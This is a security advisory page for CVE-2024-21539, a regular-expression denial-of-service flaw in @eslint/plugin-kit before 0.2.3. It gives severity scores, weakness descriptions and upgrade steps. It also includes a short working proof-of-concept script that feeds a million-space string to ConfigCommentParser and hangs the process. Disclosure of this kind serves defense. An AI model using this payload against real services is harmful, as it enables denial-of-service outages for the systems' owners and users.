Skip to content

GHSA-7q7g-4xm8-89cq CVE-2024-21539

Regular Expression Denial of Service (ReDoS) in @eslint/plugin-kit

High npm
Severity
7.7 / 10
High · CVSS 4.0
Exploit chance (EPSS)
0.51%
Chance of exploitation in the next 30 days. Higher than 43.29% of scored vulnerabilities.
Known exploited
No
Not in CISA's catalog
Weakness
CWE-1333 Inefficient Regular Expression Complexity
CWE-770 Allocation of Resources Without Limits or Throttling
Fix
0.2.3
Upgrade @eslint/plugin-kit to this version or later

Description

Crafting a very large and well crafted string can increase the CPU usage and crash the program.

POC

const { ConfigCommentParser } = require("@eslint/plugin-kit");

var str = "";
for (var i = 0; i < 1000000; i++) {
  str += " ";
}
str += "A";

console.log("start")
var parser = new ConfigCommentParser();
console.log(parser.parseStringConfig(str, ""));
console.log("end")

// run `npm i @eslint/plugin-kit` and `node attack.js` 
// then the program will stuck forever with high CPU usage

Affected versions

npm

PackageVulnerableFixed in
@eslint/plugin-kit
< 0.2.3
0.2.3

How to fix

Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.

@eslint/plugin-kit npm → 0.2.3

npm
npm install @eslint/plugin-kit@0.2.3
yarn
yarn add @eslint/plugin-kit@0.2.3
pnpm
pnpm add @eslint/plugin-kit@0.2.3

Severity breakdown

CVSS 4.0 7.7

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Attack vector
Network
Attack complexity
Low
Attack requirements
None
Privileges required
None
User interaction
None
Confidentiality (vulnerable system)
None
Integrity (vulnerable system)
None
Availability (vulnerable system)
High
Confidentiality (subsequent systems)
None
Integrity (subsequent systems)
None
Availability (subsequent systems)
None
Exploit maturity
Proof of concept
Scope
X

CVSS 3.1 3.5

CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:N/A:L

Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
Required
Scope
Unchanged
Confidentiality
None
Integrity
None
Availability
Low

Weakness

CWE-1333: Inefficient Regular Expression Complexity

The product uses a regular expression with a worst-case computational complexity that is inefficient and possibly exponential.

How to prevent it
  • Architecture and Design: Use regular expressions that do not support backtracking, e.g. by removing nested quantifiers.
  • System Configuration: Set backtracking limits in the configuration of the regular expression implementation, such as PHP's pcre.backtrack_limit. Also consider limits on execution time for the process.
  • Implementation: Do not use regular expressions with untrusted input. If regular expressions must be used, avoid using backtracking in the expression.
  • Implementation: Limit the length of the input that the regular expression will process.

CWE-770: Allocation of Resources Without Limits or Throttling

The product allocates a reusable resource or group of resources on behalf of an actor without imposing any intended restrictions on the size or number of resources that can be allocated.

How to prevent it
  • Requirements: Clearly specify the minimum and maximum expectations for capabilities, and dictate which behaviors are acceptable when resource allocation reaches limits.
  • Architecture and Design: Limit the amount of resources that are accessible to unprivileged users. Set per-user limits for resources. Allow the system administrator to define these limits. Be careful to avoid CWE-410.
  • Architecture and Design: Design throttling mechanisms into the system architecture. The best protection is to limit the amount of resources that an unauthorized user can cause to be expended. A strong authentication and access control model will help prevent such attacks from occurring in the first place, and it will help the administrator to identify who is committing the abuse. The login application should be protected against DoS attacks as much as possible. Limiting the database access, perhaps by caching result sets, can help minimize the resources expended. To further limit the potential for a DoS attack, consider tracking the rate of requests received from users and blocking requests that exceed a defined rate threshold.
  • Implementation: Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
  • Architecture and Design: For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
  • Architecture and Design: Mitigation of resource exhaustion attacks requires that the target system either: recognizes the attack and denies that user further access for a given amount of time, typically by using increasing time delays uniformly throttles all requests in order to make it more difficult to consume resources more quickly than they can again be freed. The first of these solutions is an issue in itself though, since it may allow attackers to prevent the use of the system by a particular valid user. If the attacker impersonates the valid user, they may be able to prevent the user from accessing the server in question. The second solution can be difficult to effectively institute -- and even when properly done, it does not provide a full solution. It simply requires more resources on the part of the attacker.
  • Architecture and Design: Ensure that protocols have specific limits of scale placed on them.
  • Architecture and Design, Implementation: If the program must fail, ensure that it fails gracefully (fails closed). There may be a temptation to simply let the program fail poorly in cases such as low memory conditions, but an attacker may be able to assert control before the software has fully exited. Alternately, an uncontrolled failure could cause cascading problems with other downstream components; for example, the program could send a signal to a downstream process so the process immediately knows that a problem has occurred and has a better chance of recovery. Ensure that all failures in resource allocation place the system into a safe posture.
  • Operation, Architecture and Design: Use quotas or other resource-limiting settings provided by the operating system or environment. For example, when managing system resources in POSIX, setrlimit() can be used to set limits for certain types of resources, and getrlimit() can determine how many resources are available. However, these functions are not available on all operating systems. When the current levels get close to the maximum that is defined for the application (see CWE-770), then limit the allocation of further resources to privileged users; alternately, begin releasing resources for less-privileged users. While this mitigation may protect the system from attack, it will not necessarily stop attackers from adversely impacting other users. Ensure that the application performs the appropriate error checks and error handling in case resources become unavailable (CWE-703).

References

Timeline

  1. Published
  2. Last updated by the source
  3. Latest EPSS score
AdvisorySeverityWhy it's related
GHSA-xffm-g5w8-qvg7
@eslint/plugin-kit is vulnerable to Regular Expression Denial of Service attacks through ConfigCommentParser
Low Also affects @eslint/plugin-kit
GHSA-7wch-p9px-956x
Forge: Regular expression denial of service in PEM decoding (pem.decode)
High Same weakness, CWE-1333
GHSA-xcq7-p3pf-p88h
OpenTelemetry Python: Unbounded tracestate parsing in opentelemetry-api
Medium Same weakness, CWE-1333
GHSA-xgh8-jp6q-p5x8
Pillow: ReDoS in XbmImagePlugin: 512-byte file stalls Image.open() for minutes
High Same weakness, CWE-1333
GHSA-rxp7-6hxx-x8q5
ip-address: Address6 matches a zone identifier in quadratic time ahead of its length limit, allowing a single long string to stall the process
Medium Same weakness, CWE-1333
GHSA-r925-mgvr-h9cc
Symfony: ReDoS in HeaderUtils::split() Reachable Through the Cache-Control Request Header
High Same weakness, CWE-1333
GHSA-4ffr-jq9g-5ffx
Nodemailer: Quadratic backtracking in SMTP AUTH mechanism detection regexes allows pre-auth remote denial of service
High Same weakness, CWE-1333
GHSA-m64x-33q8-m5h7
GitPython parse_actor_and_date() is vulnerable to quadratic backtracking on malformed identity lines
High Same weakness, CWE-1333
Is this in your code?

MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.

Check your repos with MergeHarbor